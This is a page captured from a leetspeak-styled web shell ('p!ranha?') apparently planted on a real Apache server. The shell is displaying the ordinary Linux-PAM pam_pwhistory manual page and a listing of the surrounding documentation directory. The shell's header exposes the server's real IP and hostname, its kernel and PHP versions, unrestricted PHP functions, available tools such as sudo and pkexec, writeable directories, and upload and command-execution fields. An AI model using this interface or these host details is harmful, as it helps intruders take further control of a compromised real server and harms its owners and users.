p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/pam-1.1.8/html/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/share/doc/pam-1.1.8/html/sag-pam_pwhistory.html
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>6.25. pam_pwhistory - grant access using .pwhistory file</title><meta name="generator" content="DocBook XSL Stylesheets V1.78.1"><link rel="home" href="Linux-PAM_SAG.html" title="The Linux-PAM System Administrators' Guide"><link rel="up" href="sag-module-reference.html" title="Chapter 6. A reference guide for available modules"><link rel="prev" href="sag-pam_permit.html" title="6.24. pam_permit - the promiscuous module"><link rel="next" href="sag-pam_rhosts.html" title="6.26. pam_rhosts - grant access using .rhosts file"></head><body bgcolor="white" text="black" link="#0000FF" vlink="#840084" alink="#0000FF"><div class="navheader"><table width="100%" summary="Navigation header"><tr><th colspan="3" align="center">6.25. pam_pwhistory - grant access using .pwhistory file</th></tr><tr><td width="20%" align="left"><a accesskey="p" href="sag-pam_permit.html">Prev</a> </td><th width="60%" align="center">Chapter 6. A reference guide for available modules</th><td width="20%" align="right"> <a accesskey="n" href="sag-pam_rhosts.html">Next</a></td></tr></table><hr></div><div class="section"><div class="titlepage"><div><div><h2 class="title" style="clear: both"><a name="sag-pam_pwhistory"></a>6.25. pam_pwhistory - grant access using .pwhistory file</h2></div></div></div><div class="cmdsynopsis"><p><code class="command">pam_pwhistory.so</code>  [
        debug
      ] [
        use_authtok
      ] [
        enforce_for_root
      ] [
        remember=<em class="replaceable"><code>N</code></em>
      ] [
        retry=<em class="replaceable"><code>N</code></em>
      ] [
        authtok_type=<em class="replaceable"><code>STRING</code></em>
      ]</p></div><div class="section"><div class="titlepage"><div><div><h3 class="title"><a name="sag-pam_pwhistory-description"></a>6.25.1. DESCRIPTION</h3></div></div></div><p>
      This module saves the last passwords for each user in order
      to force password change history and keep the user from
      alternating between the same password too frequently.
    </p><p>
      This module does not work together with kerberos. In general,
      it does not make much sense to use this module in conjunction
      with NIS or LDAP, since the old passwords are stored on the
      local machine and are not available on another machine for
      password history checking.
    </p></div><div class="section"><div class="titlepage"><div><div><h3 class="title"><a name="sag-pam_pwhistory-options"></a>6.25.2. OPTIONS</h3></div></div></div><div class="variablelist"><dl class="variablelist"><dt><span class="term">
          <code class="option">debug</code>
        </span></dt><dd><p>
            Turns on debugging via
            <span class="citerefentry"><span class="refentrytitle">syslog</span>(3)</span>.
          </p></dd><dt><span class="term">
          <code class="option">use_authtok</code>
        </span></dt><dd><p>
           When password changing enforce the module to use the new password
           provided by a previously stacked <code class="option">password</code>
           module (this is used in the example of the stacking of the
           <span class="command"><strong>pam_cracklib</strong></span> module documented below).
          </p></dd><dt><span class="term">
          <code class="option">enforce_for_root</code>
        </span></dt><dd><p>
            If this option is set, the check is enforced for root, too.
          </p></dd><dt><span class="term">
          <code class="option">remember=<em class="replaceable"><code>N</code></em></code>
        </span></dt><dd><p>
            The last <em class="replaceable"><code>N</code></em> passwords for each
            user are saved in <code class="filename">/etc/security/opasswd</code>.
            The default is <span class="emphasis"><em>10</em></span>. Value of
            <span class="emphasis"><em>0</em></span> makes the module to keep the existing
            contents of the <code class="filename">opasswd</code> file unchanged.
          </p></dd><dt><span class="term">
            <code class="option">retry=<em class="replaceable"><code>N</code></em></code>
          </span></dt><dd><p>
              Prompt user at most <em class="replaceable"><code>N</code></em> times
              before returning with error. The default is
              <span class="emphasis"><em>1</em></span>.
            </p></dd><dt><span class="term">
            <code class="option">authtok_type=<em class="replaceable"><code>STRING</code></em></code>
          </span></dt><dd><p>
              See <span class="citerefentry"><span class="refentrytitle">pam_get_authtok</span>(3)</span> for more details.
            </p></dd></dl></div></div><div class="section"><div class="titlepage"><div><div><h3 class="title"><a name="sag-pam_pwhistory-types"></a>6.25.3. MODULE TYPES PROVIDED</h3></div></div></div><p>
      Only the <code class="option">password</code> module type is provided.
    </p></div><div class="section"><div class="titlepage"><div><div><h3 class="title"><a name="sag-pam_pwhistory-return_values"></a>6.25.4. RETURN VALUES</h3></div></div></div><div class="variablelist"><dl class="variablelist"><dt><span class="term">PAM_AUTHTOK_ERR</span></dt><dd><p>
            No new password was entered, the user aborted password
            change or new password couldn't be set.
          </p></dd><dt><span class="term">PAM_IGNORE</span></dt><dd><p>
            Password history was disabled.
          </p></dd><dt><span class="term">PAM_MAXTRIES</span></dt><dd><p>
            Password was rejected too often.
          </p></dd><dt><span class="term">PAM_USER_UNKNOWN</span></dt><dd><p>
            User is not known to system.
          </p></dd></dl></div></div><div class="section"><div class="titlepage"><div><div><h3 class="title"><a name="sag-pam_pwhistory-files"></a>6.25.5. FILES</h3></div></div></div><div class="variablelist"><dl class="variablelist"><dt><span class="term"><code class="filename">/etc/security/opasswd</code></span></dt><dd><p>File with password history</p></dd></dl></div></div><div class="section"><div class="titlepage"><div><div><h3 class="title"><a name="sag-pam_pwhistory-examples"></a>6.25.6. EXAMPLES</h3></div></div></div><p>
      An example password section would be:
      </p><pre class="programlisting">
#%PAM-1.0
password     required       pam_pwhistory.so
password     required       pam_unix.so        use_authtok
      </pre><p>
    </p><p>
     In combination with <span class="command"><strong>pam_cracklib</strong></span>:
      </p><pre class="programlisting">
#%PAM-1.0
password     required       pam_cracklib.so    retry=3
password     required       pam_pwhistory.so   use_authtok
password     required       pam_unix.so        use_authtok
      </pre><p>
    </p></div><div class="section"><div class="titlepage"><div><div><h3 class="title"><a name="sag-pam_pwhistory-author"></a>6.25.7. AUTHOR</h3></div></div></div><p>
        pam_pwhistory was written by Thorsten Kukuk &lt;kukuk@thkukuk.de&gt;
      </p></div></div><div class="navfooter"><hr><table width="100%" summary="Navigation footer"><tr><td width="40%" align="left"><a accesskey="p" href="sag-pam_permit.html">Prev</a> </td><td width="20%" align="center"><a accesskey="u" href="sag-module-reference.html">Up</a></td><td width="40%" align="right"> <a accesskey="n" href="sag-pam_rhosts.html">Next</a></td></tr><tr><td width="40%" align="left" valign="top">6.24. pam_permit - the promiscuous module </td><td width="20%" align="center"><a accesskey="h" href="Linux-PAM_SAG.html">Home</a></td><td width="40%" align="right" valign="top"> 6.26. pam_rhosts - grant access using .rhosts file</td></tr></table></div></body></html>
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
December 20 2023 04:36:09
0 / 0
0755
Linux-PAM_SAG.html
8.979 KB
April 01 2020 03:59:33
0 / 0
0644
sag-author.html
3.036 KB
April 01 2020 03:59:33
0 / 0
0644
sag-configuration-directory.html
2.895 KB
April 01 2020 03:59:32
0 / 0
0644
sag-configuration-example.html
5.391 KB
April 01 2020 03:59:32
0 / 0
0644
sag-configuration-file.html
17.106 KB
April 01 2020 03:59:32
0 / 0
0644
sag-configuration.html
2.991 KB
April 01 2020 03:59:32
0 / 0
0644
sag-copyright.html
3.53 KB
April 01 2020 03:59:33
0 / 0
0644
sag-introduction.html
4.34 KB
April 01 2020 03:59:31
0 / 0
0644
sag-module-reference.html
37.256 KB
April 01 2020 03:59:33
0 / 0
0644
sag-overview.html
7.806 KB
April 01 2020 03:59:32
0 / 0
0644
sag-pam_access.html
17.544 KB
April 01 2020 03:59:32
0 / 0
0644
sag-pam_cracklib.html
19.794 KB
April 01 2020 03:59:32
0 / 0
0644
sag-pam_debug.html
7.896 KB
April 01 2020 03:59:32
0 / 0
0644
sag-pam_deny.html
4.592 KB
April 01 2020 03:59:32
0 / 0
0644
sag-pam_echo.html
5.615 KB
April 01 2020 03:59:32
0 / 0
0644
sag-pam_env.html
11.585 KB
April 01 2020 03:59:32
0 / 0
0644
sag-pam_exec.html
8.173 KB
April 01 2020 03:59:32
0 / 0
0644
sag-pam_faildelay.html
4.48 KB
April 01 2020 03:59:32
0 / 0
0644
sag-pam_filter.html
9.121 KB
April 01 2020 03:59:32
0 / 0
0644
sag-pam_ftp.html
6.056 KB
April 01 2020 03:59:32
0 / 0
0644
sag-pam_group.html
9.862 KB
April 01 2020 03:59:32
0 / 0
0644
sag-pam_issue.html
6.227 KB
April 01 2020 03:59:32
0 / 0
0644
sag-pam_keyinit.html
6.849 KB
April 01 2020 03:59:32
0 / 0
0644
sag-pam_lastlog.html
7.893 KB
April 01 2020 03:59:32
0 / 0
0644
sag-pam_limits.html
17.515 KB
April 01 2020 03:59:32
0 / 0
0644
sag-pam_listfile.html
10.285 KB
April 01 2020 03:59:33
0 / 0
0644
sag-pam_localuser.html
5.276 KB
April 01 2020 03:59:33
0 / 0
0644
sag-pam_loginuid.html
5.085 KB
April 01 2020 03:59:33
0 / 0
0644
sag-pam_mail.html
7.578 KB
April 01 2020 03:59:33
0 / 0
0644
sag-pam_mkhomedir.html
6.049 KB
April 01 2020 03:59:33
0 / 0
0644
sag-pam_motd.html
4.189 KB
April 01 2020 03:59:33
0 / 0
0644
sag-pam_namespace.html
19.795 KB
April 01 2020 03:59:33
0 / 0
0644
sag-pam_nologin.html
5.205 KB
April 01 2020 03:59:33
0 / 0
0644
sag-pam_permit.html
4.201 KB
April 01 2020 03:59:33
0 / 0
0644
sag-pam_pwhistory.html
7.633 KB
April 01 2020 03:59:33
0 / 0
0644
sag-pam_rhosts.html
6.252 KB
April 01 2020 03:59:33
0 / 0
0644
sag-pam_rootok.html
4.987 KB
April 01 2020 03:59:33
0 / 0
0644
sag-pam_securetty.html
6.326 KB
April 01 2020 03:59:33
0 / 0
0644
sag-pam_selinux.html
8.116 KB
April 01 2020 03:59:33
0 / 0
0644
sag-pam_shells.html
4.157 KB
April 01 2020 03:59:33
0 / 0
0644
sag-pam_succeed_if.html
8.938 KB
April 01 2020 03:59:33
0 / 0
0644
sag-pam_tally.html
13.678 KB
April 01 2020 03:59:33
0 / 0
0644
sag-pam_tally2.html
14.597 KB
April 01 2020 03:59:33
0 / 0
0644
sag-pam_time.html
9.495 KB
April 01 2020 03:59:33
0 / 0
0644
sag-pam_timestamp.html
6.28 KB
April 01 2020 03:59:33
0 / 0
0644
sag-pam_umask.html
6.168 KB
April 01 2020 03:59:33
0 / 0
0644
sag-pam_unix.html
14.294 KB
April 01 2020 03:59:33
0 / 0
0644
sag-pam_userdb.html
8.291 KB
April 01 2020 03:59:33
0 / 0
0644
sag-pam_warn.html
4.46 KB
April 01 2020 03:59:33
0 / 0
0644
sag-pam_wheel.html
7.013 KB
April 01 2020 03:59:33
0 / 0
0644
sag-pam_xauth.html
8.221 KB
April 01 2020 03:59:33
0 / 0
0644
sag-security-issues-other.html
2.921 KB
April 01 2020 03:59:32
0 / 0
0644
sag-security-issues-wrong.html
2.892 KB
April 01 2020 03:59:32
0 / 0
0644
sag-security-issues.html
2.108 KB
April 01 2020 03:59:32
0 / 0
0644
sag-see-also.html
2.228 KB
April 01 2020 03:59:33
0 / 0
0644
sag-text-conventions.html
3.11 KB
April 01 2020 03:59:32
0 / 0
0644